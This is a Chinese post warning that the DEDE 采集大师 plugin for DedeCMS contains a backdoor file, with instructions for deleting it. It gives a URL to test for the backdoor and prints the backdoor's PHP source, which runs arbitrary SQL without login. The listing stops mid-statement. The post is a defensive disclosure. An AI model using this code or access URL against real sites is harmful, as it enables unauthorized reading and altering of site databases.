DEDE采集大师官方留后门的删除办法 |
|
本文标签：DEDE采集大师,后门 去除官方后门方法：安装好采集大师后，请立即删除 include目录下的dedesql.query.php文件，如已经安装过，有可能文件已被改名为arc.sqlquery.class.php，找到并删除即可 。此文件可被利用来在无需登录验证的情况下查询网站数据库，并进行更新、删除、查询数据等操作 。大家也可以自己测试一下是否如我所说，方法： http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo 输入以上网址，即可打开后门界面 。 说实话，会故意留后门的程序，最好的方法就是别用 。这个后门被发现了，天知道下一个所谓的新版本还会不会冒出更多的后门来 。此后门文件代码如下： 复制代码 代码如下: <?php require_once(dirname(__FILE__)."/../include/common.inc.php"); if(emptyempty($dopost)) { $dopost = ""; } if($dopost=="rename") { if(rename(dedesql.query.php,arc.sqlquery.class.php)){ echo "成功！"; }else{ echo "失败！"; } exit(); } if($dopost=="viewinfo") { if(emptyempty($tablename)) { echo "没有指定表名！"; } else { $dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename); $dsql->Execute(me); $row2 = $dsql->GetArray(me,MYSQL_BOTH); $ctinfo = $row2[1]; echo "<xmp>".trim($ctinfo)."</xmp>"; } exit(); } if($dopost=="index") { require_once(DEDEINC./arc.partview.class.php); $envs = $_sys_globals = array(); $envs[aid] = 0; $pv = new PartView(); $row = $pv->dsql->GetOne(Select * From `#@__homepageset`); $templet = str_replace("{style}",$cfg_df_style,$row[templet]); $homeFile = dirname(__FILE__)./.$row[position]; $homeFile = str_replace("//","/",str_replace("\\","/",$homeFile)); $fp = fopen($homeFile,w) or die("无法更新网站主页到：$homeFile 位置"); fclose($fp); $tpl = $cfg_basedir.$cfg_templets_dir./.$templet; $pv->SetTemplet($tpl); $pv->SaveToHtml($homeFile); $pv->Close(); echo "成功更新首页！"; exit(); } else if($dopost=="query") { $sqlquery = trim(stripslashes($sqlquery)); if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery)) { echo "<span style=font-size:10pt>删除数据表或数据库的语句不允许在这里执行 。</span>"; exit(); } if(eregi("^select ",$sqlquery)) { $dsql->SetQuery($sqlquery); $dsql->Execute(); if($dsql->GetTotalRow()<=0) { echo "运行SQL：{$sqlquery}，无返回记录！"; } else { echo "运行SQL：{$sqlquery}，共有".$dsql->GetTotalRow()."条记录，最大返回100条！"; } $j = 0; while($row = $dsql->GetArray()) { $j++; if($j>100) { break; } echo "<hr size=1 width=100%/>"; echo "记录：$j"; echo "<hr size=1 width=100%/>"; foreach($row as $k=>$v) { echo "<font color=red>{$k}：</font>{$v}<br/>\r\n"; } } exit(); } if($querytype==2) { $sqlquery = str_replace("\r","",$sqlquery); $sqls = split(";[ \t]{0,}\n",$sqlquery); $nerrCode = "";$i=0; foreach($sqls as $q) { $q = trim($q); if($q=="") { continue; } $dsql->ExecuteNoneQuery($q); $errCode = trim($dsql->GetError()); if($errCode=="") { $i++; } else { $nerrCode .= "执行： <font color=blue>$q</font> 出错，错误提示：<font color=red>".$errCode."</font><br>"; } } echo "成功执行{$i}个SQL语句！<br><br>"; echo $nerrCode; } else { $dsql->ExecuteNoneQuery($sqlquery);
